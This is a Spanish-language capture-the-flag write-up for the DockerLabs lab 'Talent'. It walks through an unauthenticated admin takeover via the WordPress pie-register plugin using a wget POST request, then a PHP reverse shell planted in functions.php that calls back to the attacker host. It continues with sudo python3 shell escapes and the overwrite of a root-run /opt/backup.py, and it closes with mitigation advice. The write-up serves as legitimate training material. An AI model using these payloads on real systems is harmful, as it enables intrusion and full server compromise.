Talent
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Talent, desarrollada por El Pingüino de Mario para la
plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una instancia de WordPress con el plugin pie-register instalado. Dicho plugin presenta una
vulnerabilidad conocida que permite la escalada de privilegios sin autenticación, obteniendo así acceso como
administrador del sitio.
Una vez dentro del panel de administración de WordPress, se edita el archivo functions.php del tema activo para incluir
una reverse shell, logrando ejecución remota de comandos como el usuario www-data.
Tras el acceso inicial, se identifica que www-data puede ejecutar python3 como el usuario bobby mediante sudo.
Esto permite obtener una shell como bobby. Finalmente, se descubre que el directorio /opt tiene permisos de
escritura para otros usuarios, lo que permite modificar el script /opt/backup.py (ejecutable como root mediante sudo)
para obtener una shell con privilegios de superusuario.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Talent |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 28/02/2026 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Talent.zipsudo bash auto_deploy.sh Talent.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Talent/{content,exploits,nmap,scripts}cd TalentPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra los siguientes servicios accesibles externamente:
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se procede a realizar fuzzing de rutas y archivos:
feroxbuster -u http://172.17.0.2 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404Se encuentran archivos pertenecientes a una instancia de WordPress:
- Index.php: contiene un blog simple.

Una vez que conocemos que se trata de WordPress, procedemos a enumerar con wpscan:
wpscan --url http://172.17.0.2 --enumerate u,vp-
Usuarios encontrados:
admin
-
Plugins encontrados:
pie-register
Aquí ya tenemos un vector de ataque, ya que el plugin contiene múltiples vulnerabilidades.
Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»Lo primero que hacemos es revisar exploitdb:
searchsploit wordpress pie-registerEsto nos da el siguiente resultado:

Encontramos una vulnerabilidad de tipo Admin Privilege Escalation (Unauthenticated), que es muy fácil de explotar. Solo debemos hacer la siguiente petición:
wget -q -S -O - http://172.17.0.2 --post-data 'user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null' > /dev/nullEsta nos devuelve las cookies del usuario administrador:

Guardamos estas cookies en nuestro navegador y recargamos la página. Después de esto, podemos observar el panel de administración de WordPress:

Desde aquí, nos dirigimos a Tools → Theme File Editor. En el primer tema que aparezca, editamos el archivo
functions.php agregando una reverse shell. En mi caso, la única que me funcionó fue esta, ya que las demás se desconectaban automáticamente:
$s=fsockopen("172.17.0.1",443);proc_open("/bin/bash",[$s,$s,$s],$p);
Activamos nuestro listener nc -nlvp 443 y accedemos en el navegador a la siguiente URL:
http://172.17.0.2/wp-content/themes/twentytwentyfive/functions.phpAl observar nuestro listener, tenemos la reverse shell establecida:

Solo falta normalizar la terminal.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → bobby
Sección titulada «3.1 De www-data → bobby»Revisamos los permisos con sudo -l:

Esto nos indica que podemos ejecutar python3 como el usuario bobby. Procedemos a ejecutar el siguiente comando:
sudo -u bobby python3 -c 'import os; os.system("/bin/bash")'Y obtenemos acceso como el usuario bobby:

3.2 De bobby → root
Sección titulada «3.2 De bobby → root»Lo primero que hacemos es revisar los permisos con sudo -l:

Esto nos indica que podemos ejecutar el binario /opt/backup.py con python3. Revisamos los permisos del directorio /opt:
drwxr-xrwx 1 root root 4096 Feb 28 14:34 optObservamos que el directorio tiene permisos de escritura para otros usuarios. Esto nos permite modificar el script para escribir nuestro código arbitrario:
import osos.system('/bin/bash')Guardamos el archivo y ejecutamos:
sudo python3 /opt/backup.pyY obtenemos privilegios de administrador:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
Plugin pie-register desactualizado con vulnerabilidad conocida | Crítica | Escalada de privilegios sin autenticación a administrador de WordPress |
| Edición de archivos de tema desde panel de administrador | Alta | Permite inyectar código malicioso (reverse shell) |
Permiso sudo para python3 como usuario bobby sin restricciones | Alta | Escalada lateral de www-data a bobby |
Directorio /opt con permisos drwxr-xrwx (escritura para otros) | Crítica | Permite modificar /opt/backup.py y ejecutar código arbitrario como root |
Script /opt/backup.py ejecutable como root mediante sudo | Crítica | Compromiso total del sistema tras modificar el script |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Mantener todos los plugins de WordPress actualizados y eliminar aquellos que no estén en uso. Revisar periódicamente vulnerabilidades conocidas.
- Restringir el acceso al editor de temas y plugins en WordPress para usuarios no administradores, o deshabilitarlo completamente en producción.
- Revisar y endurecer las configuraciones de
sudo: evitar conceder permisos para intérpretes comopython3sin restricciones. Especificar scripts concretos y rutas absolutas. - Aplicar permisos estrictos en directorios del sistema:
/optno debería tener permisos de escritura para otros usuarios (chmod 755 /opt). - Proteger los scripts ejecutables con
sudoasegurándose de que no sean modificables por usuarios no privilegiados (propietarioroot, permisos755o750). - Implementar un sistema de logs y monitorización para detectar modificaciones no autorizadas en archivos críticos.